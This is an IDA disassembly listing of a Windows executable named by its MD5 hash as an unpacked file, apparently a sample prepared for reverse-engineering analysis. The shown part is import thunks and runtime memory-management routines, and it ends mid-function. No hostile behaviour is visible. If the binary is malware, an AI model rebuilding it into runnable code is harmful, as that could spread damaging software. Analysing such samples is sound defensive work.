;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F38DB584E088CC260EC88C5C1AB5CD9C

; File Name   :	u:\work\f38db584e088cc260ec88c5c1ab5cd9c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004490 (  17552.)
; Section size in file		: 00004490 (  17552.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401000	proc near		; CODE XREF: sub_4033DC+39p
					; sub_4033DC:loc_403430p
					; DATA XREF: ...
		jmp	ds:dword_4080E0
sub_401000	endp

; ---------------------------------------------------------------------------
unk_401006	db  8Bh	; 		; DATA XREF: .rsrc:00437721o
		db 0C0h	; 

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401008	proc near		; CODE XREF: sub_402DB8+14p
					; sub_402DD4+16p ...
		jmp	ds:dword_4080DC
sub_401008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401010	proc near		; CODE XREF: sub_403230-2B6p
					; CODE:00403188p
					; DATA XREF: ...
		jmp	ds:dword_4080D8
sub_401010	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401018	proc near		; CODE XREF: sub_403230-31Ep
					; sub_403230-2E1p ...
		jmp	ds:dword_4080D4
sub_401018	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401020	proc near		; CODE XREF: sub_4033DC+3Fp
					; sub_4033DC+5Ap
		jmp	ds:dword_4080D0
sub_401020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_402908+19p
					; sub_402908+55p ...
		jmp	ds:dword_4080F0
sub_401028	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401030	proc near		; CODE XREF: sub_403468+C3p
		jmp	ds:dword_4080CC
sub_401030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401038	proc near		; CODE XREF: sub_4033DC+78p
		jmp	ds:dword_4080EC
sub_401038	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401040	proc near		; CODE XREF: sub_403468+8Bp
		jmp	ds:dword_4080C8
sub_401040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401048	proc near		; CODE XREF: sub_402A6C:loc_402AA3p
					; sub_403A78+67p
		jmp	ds:dword_4080C4
sub_401048	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_4039B0+26p
		jmp	ds:dword_4080C0
sub_401050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401058	proc near		; CODE XREF: sub_402A6C+23p
		jmp	ds:dword_4080BC
sub_401058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401060	proc near		; CODE XREF: sub_401098+Ap
		jmp	ds:dword_4080B8
sub_401060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401068	proc near		; CODE XREF: sub_403A78:loc_403B20p
					; sub_403A78:loc_403B31p
					; DATA XREF: ...
		jmp	ds:dword_4080B4
sub_401068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401070	proc near		; CODE XREF: sub_402CDC+6Bp
		jmp	ds:dword_408100
sub_401070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: sub_402CDC+22p
		jmp	ds:dword_4080FC
sub_401078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401080	proc near		; CODE XREF: sub_402CDC+55p
		jmp	ds:dword_4080F8
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401088	proc near		; CODE XREF: sub_403A78:loc_403B40p
		jmp	ds:dword_4080B0
sub_401088	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401090	proc near		; CODE XREF: sub_403A78+7Bp
					; sub_403A78+8Cp
		jmp	ds:dword_4080AC
sub_401090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401098	proc near		; CODE XREF: sub_403A78+71p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_401060	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_4010B3
		movzx	ebx, [esp+48h+var_18]


loc_4010B3:				; CODE XREF: sub_401098+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_401098	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BC	proc near		; CODE XREF: sub_4010FC+15p
					; sub_401904+54p
		jmp	ds:dword_4080A8
sub_4010BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C4	proc near		; CODE XREF: sub_4019DC+41p
					; sub_4019DC+B6p
		jmp	ds:dword_4080A4
sub_4010C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CC	proc near		; CODE XREF: sub_401364+2Fp
					; sub_4013C8+1Ep ...
		jmp	ds:dword_4080A0
sub_4010CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D4	proc near		; CODE XREF: sub_401364+56p
					; sub_4013C8+69p ...
		jmp	ds:dword_40809C
sub_4010D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_401904+17p
		jmp	ds:dword_408098
sub_4010DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E4	proc near		; CODE XREF: sub_401904+2Ap
					; sub_4019DC+2Fp ...
		jmp	ds:dword_408094
sub_4010E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EC	proc near		; CODE XREF: sub_401904+C2p
					; sub_4019DC+E4p ...
		jmp	ds:dword_408090
sub_4010EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F4	proc near		; CODE XREF: sub_4019DC+EEp
		jmp	ds:dword_40808C
sub_4010F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4010FC	proc near		; CODE XREF: sub_401188+9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF4h
		mov	ebx, offset dword_4075D0
		cmp	dword ptr [ebx], 0
		jnz	short loc_401163
		push	644h
		push	0
		call	sub_4010BC	; LocalAlloc
		mov	[esp+10h+var_8], eax
		cmp	[esp+10h+var_8], 0
		jnz	short loc_401128
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		jmp	short loc_401178
; ---------------------------------------------------------------------------


loc_401128:				; CODE XREF: sub_4010FC+23j
		mov	eax, [esp+10h+var_8]
		mov	edx, ds:dword_4075CC
		mov	[eax], edx
		mov	eax, [esp+10h+var_8]
		mov	ds:dword_4075CC, eax
		xor	eax, eax


loc_40113F:				; CODE XREF: sub_4010FC+65j
		mov	edx, eax
		add	edx, edx
		mov	ecx, [esp+10h+var_8]
		lea	edx, [ecx+edx*8+4]
		mov	[esp+10h+var_C], edx
		mov	edx, [esp+10h+var_C]
		mov	ecx, [ebx]
		mov	[edx], ecx
		mov	edx, [esp+10h+var_C]
		mov	[ebx], edx
		inc	eax
		cmp	eax, 64h
		jnz	short loc_40113F


loc_401163:				; CODE XREF: sub_4010FC+Cj
		mov	eax, [ebx]
		mov	[esp+10h+var_C], eax
		mov	eax, [esp+10h+var_C]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [esp+10h+var_C]
		mov	[esp+10h+var_10], eax


loc_401178:				; CODE XREF: sub_4010FC+2Aj
		mov	eax, [esp+10h+var_10]
		add	esp, 0Ch
		pop	ebx
		retn
sub_4010FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401180	proc near		; CODE XREF: sub_401904+34p
					; sub_401904+3Ep ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_401180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401188	proc near		; CODE XREF: sub_401218+71p
					; sub_4012A0+96p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		call	sub_4010FC
		mov	[esp+10h+var_C], eax
		cmp	[esp+10h+var_C], 0
		jnz	short loc_4011A5


loc_4011A1:				; DATA XREF: sub_43786C+7r
		xor	eax, eax
		jmp	short loc_4011DF
; ---------------------------------------------------------------------------


loc_4011A5:				; CODE XREF: sub_401188+17j
		mov	eax, [esi]
		mov	edx, [esp+10h+var_C]
		mov	[edx+8], eax
		mov	eax, [esi+4]
		mov	edx, [esp+10h+var_C]
		mov	[edx+0Ch], eax
		mov	eax, [ebx]
		mov	[esp+10h+var_10], eax
		mov	eax, [esp+10h+var_C]
		mov	edx, [esp+10h+var_10]
		mov	[eax], edx
		mov	eax, [esp+10h+var_C]
		mov	[eax+4], ebx
		mov	eax, [esp+10h+var_10]
		mov	edx, [esp+10h+var_C]
		mov	[eax+4], edx
		mov	eax, [esp+10h+var_C]
		mov	[ebx], eax
		mov	al, 1


loc_4011DF:				; CODE XREF: sub_401188+1Bj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401188	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011E4	proc near		; CODE XREF: sub_401218+37p
					; sub_401218+56p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		add	esp, 0FFFFFFF8h
		mov	edx, [eax+4]
		mov	[esp+8+var_8], edx
		mov	edx, [eax]
		mov	[esp+8+var_4], edx
		mov	edx, [esp+8+var_8]
		mov	ecx, [esp+8+var_4]
		mov	[edx], ecx
		mov	edx, [esp+8+var_4]
		mov	ecx, [esp+8+var_8]
		mov	[edx+4], ecx
		mov	edx, ds:dword_4075D0
		mov	[eax], edx
		mov	ds:dword_4075D0, eax
		pop	ecx
		pop	edx
		retn
sub_4011E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401218	proc near		; CODE XREF: sub_401684+80p
					; sub_40172C+78p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, ecx
		mov	esi, eax
		mov	edi, esp
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [edx]
		mov	[ebx], eax
		mov	eax, [edx+4]
		mov	[ebx+4], eax


loc_401233:				; CODE XREF: sub_401218:loc_401283j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[esp+18h+var_14], eax
		mov	edx, [edi]
		mov	edx, [edx+8]
		mov	ecx, edx
		mov	ebp, [edi]
		add	ecx, [ebp+0Ch]
		mov	eax, [ebx]
		cmp	ecx, eax
		jnz	short loc_401265
		mov	eax, [edi]
		call	sub_4011E4
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[ebx], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax
		jmp	short loc_40127B
; ---------------------------------------------------------------------------


loc_401265:				; CODE XREF: sub_401218+33j
		add	eax, [ebx+4]
		cmp	edx, eax
		jnz	short loc_40127B
		mov	eax, [edi]
		call	sub_4011E4
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax


loc_40127B:				; CODE XREF: sub_401218+4Bj
					; sub_401218+52j
		mov	eax, [esp+18h+var_14]
		mov	[edi], eax
		cmp	esi, [edi]


loc_401283:				; DATA XREF: sub_4377EE+150r
		jnz	short loc_401233
		mov	edx, ebx
		mov	eax, esi
		call	sub_401188
		test	al, al
		jnz	short loc_401296
		xor	eax, eax
		mov	[ebx], eax


loc_401296:				; CODE XREF: sub_401218+78j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401218	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4012A0	proc near		; CODE XREF: sub_401870+82p
					; sub_401CF4+ABp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], eax
		mov	esi, esp
		mov	eax, [esi]
		mov	[esp+20h+var_14], eax


loc_4012B2:				; CODE XREF: sub_4012A0+B3j
		mov	ecx, [edx]
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ecx, eax
		jb	loc_401347
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jb	short loc_401347
		cmp	ecx, eax
		jnz	short loc_4012F6
		mov	eax, [edx+4]
		mov	ecx, [esi]
		add	[ecx+8], eax
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401343
		mov	eax, [esi]
		call	sub_4011E4
		jmp	short loc_401343
; ---------------------------------------------------------------------------


loc_4012F6:				; CODE XREF: sub_4012A0+33j
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jnz	short loc_401310
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		jmp	short loc_401343
; ---------------------------------------------------------------------------


loc_401310:				; CODE XREF: sub_4012A0+64j
		mov	ebx, [edx]
		add	ebx, [edx+4]
		mov	[esp+20h+var_1C], ebx
		mov	edi, [esi]
		mov	edi, [edi+8]
		mov	ebp, [esi]
		add	edi, [ebp+0Ch]
		sub	edi, ebx
		mov	[esp+20h+var_18], edi
		sub	ecx, eax
		mov	eax, [esi]
		mov	[eax+0Ch], ecx
		lea	edx, [esp+20h+var_1C]
		mov	eax, [esi]
		call	sub_401188
		test	al, al
		jnz	short loc_401343
		xor	eax, eax
		jmp	short loc_40135B
; ---------------------------------------------------------------------------


loc_401343:				; CODE XREF: sub_4012A0+4Bj
					; sub_4012A0+54j ...
		mov	al, 1
		jmp	short loc_40135B
; ---------------------------------------------------------------------------


loc_401347:				; CODE XREF: sub_4012A0+1Bj
					; sub_4012A0+2Fj
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax
		mov	eax, [esi]
		cmp	eax, [esp+20h+var_14]
		jnz	loc_4012B2
		xor	eax, eax


loc_40135B:				; CODE XREF: sub_4012A0+A1j
					; sub_4012A0+A5j
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4012A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401364	proc near		; CODE XREF: sub_401684+6Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_40137A
		mov	esi, 100000h
		jmp	short loc_401386
; ---------------------------------------------------------------------------


loc_40137A:				; CODE XREF: sub_401364+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_401386:				; CODE XREF: sub_401364+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_4010CC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_4013C3
		mov	edx, ebx
		mov	eax, offset off_4075D4
		call	sub_401188
		test	al, al
		jnz	short loc_4013C3
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010D4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_4013C3:				; CODE XREF: sub_401364+3Aj
					; sub_401364+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401364	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4013C8	proc near		; CODE XREF: sub_40172C+62p
					; sub_40172C+A9p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_4010CC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_401412
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_4010CC	; VirtualAlloc
		mov	[ebx], eax


loc_401412:				; CODE XREF: sub_4013C8+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_40143A
		mov	edx, ebx
		mov	eax, offset off_4075D4
		call	sub_401188
		test	al, al
		jnz	short loc_40143A
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010D4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_40143A:				; CODE XREF: sub_4013C8+4Dj
					; sub_4013C8+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401440	proc near		; CODE XREF: sub_401684+95p
					; sub_40172C+90p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	edi, ecx
		mov	esi, esp
		mov	[esp+28h+var_20], 0FFFFFFFFh
		xor	ecx, ecx
		mov	[esp+28h+var_1C], ecx
		mov	[esp+28h+var_18], eax
		add	edx, [esp+28h+var_18]
		mov	[esp+28h+var_14], edx
		mov	eax, ds:off_4075D4
		mov	[esi], eax
		jmp	short loc_4014D9
; ---------------------------------------------------------------------------


loc_40146E:				; CODE XREF: sub_401440+A0j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esp+28h+var_24], eax
		mov	eax, [esi]
		mov	ebx, [eax+8]
		cmp	ebx, [esp+28h+var_18]
		jb	short loc_4014D3
		mov	eax, ebx
		mov	edx, [esi]
		add	eax, [edx+0Ch]
		cmp	eax, [esp+28h+var_14]
		ja	short loc_4014D3
		cmp	ebx, [esp+28h+var_20]
		jnb	short loc_401498
		mov	[esp+28h+var_20], ebx


loc_401498:				; CODE XREF: sub_401440+52j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		mov	eax, [esi]
		add	ebp, [eax+0Ch]
		cmp	ebp, [esp+28h+var_1C]
		jbe	short loc_4014AC
		mov	[esp+28h+var_1C], ebp


loc_4014AC:				; CODE XREF: sub_401440+66j
		push	8000h
		push	0
		mov	eax, [esi]
		mov	eax, [eax+8]
		push	eax
		call	sub_4010D4	; VirtualFree
		test	eax, eax
		jnz	short loc_4014CC
		mov	ds:dword_4075B0, 1


loc_4014CC:				; CODE XREF: sub_401440+80j
		mov	eax, [esi]
		call	sub_4011E4


loc_4014D3:				; CODE XREF: sub_401440+3Fj
					; sub_401440+4Cj
		mov	eax, [esp+28h+var_24]
		mov	[esi], eax


loc_4014D9:				; CODE XREF: sub_401440+2Cj
		mov	eax, offset off_4075D4
		cmp	eax, [esi]
		jnz	short loc_40146E
		xor	eax, eax
		mov	[edi], eax
		cmp	[esp+28h+var_1C], 0
		jz	short loc_4014FE
		mov	eax, [esp+28h+var_20]
		mov	[edi], eax
		mov	eax, [esp+28h+var_1C]
		sub	eax, [esp+28h+var_20]
		mov	[edi+4], eax


loc_4014FE:				; CODE XREF: sub_401440+ABj
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401440	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401508	proc near		; CODE XREF: sub_401684+35p
					; sub_40172C+100p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebp, [esp+28h+var_1C]
		mov	edx, eax
		mov	ecx, edx
		and	ecx, 0FFFFF000h
		mov	[esp+28h+var_18], ecx
		add	edx, [esp+28h+var_28]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ebx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ebx+4], eax
		mov	eax, ds:off_4075D4
		mov	[edi], eax
		jmp	short loc_4015B6
; ---------------------------------------------------------------------------


loc_40155B:				; CODE XREF: sub_401508+B5j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebp+0], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_40157A
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_40157A:				; CODE XREF: sub_401508+6Aj
		mov	eax, [ebp+0]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_40158A
		mov	eax, [esp+28h+var_14]
		mov	[ebp+0], eax


loc_40158A:				; CODE XREF: sub_401508+79j
		mov	eax, [esi]
		cmp	eax, [ebp+0]
		jnb	short loc_4015B0
		push	4
		push	1000h
		mov	eax, [ebp+0]
		sub	eax, [esi]
		push	eax
		mov	eax, [esi]
		push	eax
		call	sub_4010CC	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4015B0
		xor	eax, eax
		mov	[ebx], eax
		jmp	short loc_4015BF
; ---------------------------------------------------------------------------


loc_4015B0:				; CODE XREF: sub_401508+87j
					; sub_401508+A0j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_4015B6:				; CODE XREF: sub_401508+51j
		mov	eax, offset off_4075D4


loc_4015BB:				; DATA XREF: sub_4377EE+F0r
		cmp	eax, [edi]
		jnz	short loc_40155B


loc_4015BF:				; CODE XREF: sub_401508+A6j
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401508	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015C8	proc near		; CODE XREF: sub_401870+36p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebx, [esp+28h+var_1C]
		mov	edx, eax
		mov	ebp, edx
		add	ebp, 0FFFh
		and	ebp, 0FFFFF000h
		mov	[esp+28h+var_18], ebp
		add	edx, [esp+28h+var_28]
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ecx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ecx+4], eax
		mov	eax, ds:off_4075D4
		mov	[edi], eax
		jmp	short loc_401671
; ---------------------------------------------------------------------------


loc_401619:				; CODE XREF: sub_4015C8+B0j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebx], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_401637
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_401637:				; CODE XREF: sub_4015C8+67j
		mov	eax, [ebx]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_401645
		mov	eax, [esp+28h+var_14]
		mov	[ebx], eax


loc_401645:				; CODE XREF: sub_4015C8+75j
		mov	eax, [esi]
		cmp	eax, [ebx]
		jnb	short loc_40166B
		push	4000h
		mov	eax, [ebx]
		sub	eax, [esi]
		push	eax
		mov	eax, [esi]
		push	eax
		call	sub_4010D4	; VirtualFree
		test	eax, eax
		jnz	short loc_40166B
		mov	ds:dword_4075B0, 2


loc_40166B:				; CODE XREF: sub_4015C8+81j
					; sub_4015C8+97j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_401671:				; CODE XREF: sub_4015C8+4Fj
		mov	eax, offset off_4075D4
		cmp	eax, [edi]
		jnz	short loc_401619
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4015C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401684	proc near		; CODE XREF: sub_401F80+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	edi, esp
		mov	ebp, offset off_4075E4
		add	esi, 3FFFh
		and	esi, 0FFFFC000h


loc_4016A2:				; CODE XREF: sub_401684+8Aj
		mov	eax, [ebp+0]
		mov	[edi], eax
		jmp	short loc_4016EA
; ---------------------------------------------------------------------------


loc_4016A9:				; CODE XREF: sub_401684+68j
		mov	eax, [edi]
		cmp	esi, [eax+0Ch]
		jg	short loc_4016E4
		mov	ecx, ebx
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	edx, esi
		call	sub_401508
		cmp	dword ptr [ebx], 0
		jz	short loc_401722
		mov	eax, [ebx+4]
		mov	edx, [edi]
		add	[edx+8], eax
		mov	eax, [ebx+4]
		mov	edx, [edi]
		sub	[edx+0Ch], eax
		mov	eax, [edi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401722
		mov	eax, [edi]
		call	sub_4011E4
		jmp	short loc_401722
; ---------------------------------------------------------------------------


loc_4016E4:				; CODE XREF: sub_401684+2Aj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_4016EA:				; CODE XREF: sub_401684+23j
		cmp	ebp, [edi]
		jnz	short loc_4016A9
		mov	edx, ebx
		mov	eax, esi
		call	sub_401364
		cmp	dword ptr [ebx], 0
		jz	short loc_401722
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, ebx
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+1Ch+var_18], 0
		jnz	short loc_4016A2
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, [ebx+4]
		mov	eax, [ebx]
		call	sub_401440
		xor	eax, eax
		mov	[ebx], eax


loc_401722:				; CODE XREF: sub_401684+3Dj
					; sub_401684+55j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401684	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40172C	proc near		; CODE XREF: sub_401FAC+10p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], ecx
		mov	edi, edx
		mov	ebx, eax
		lea	esi, [esp+28h+var_24]
		mov	ebp, offset off_4075E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


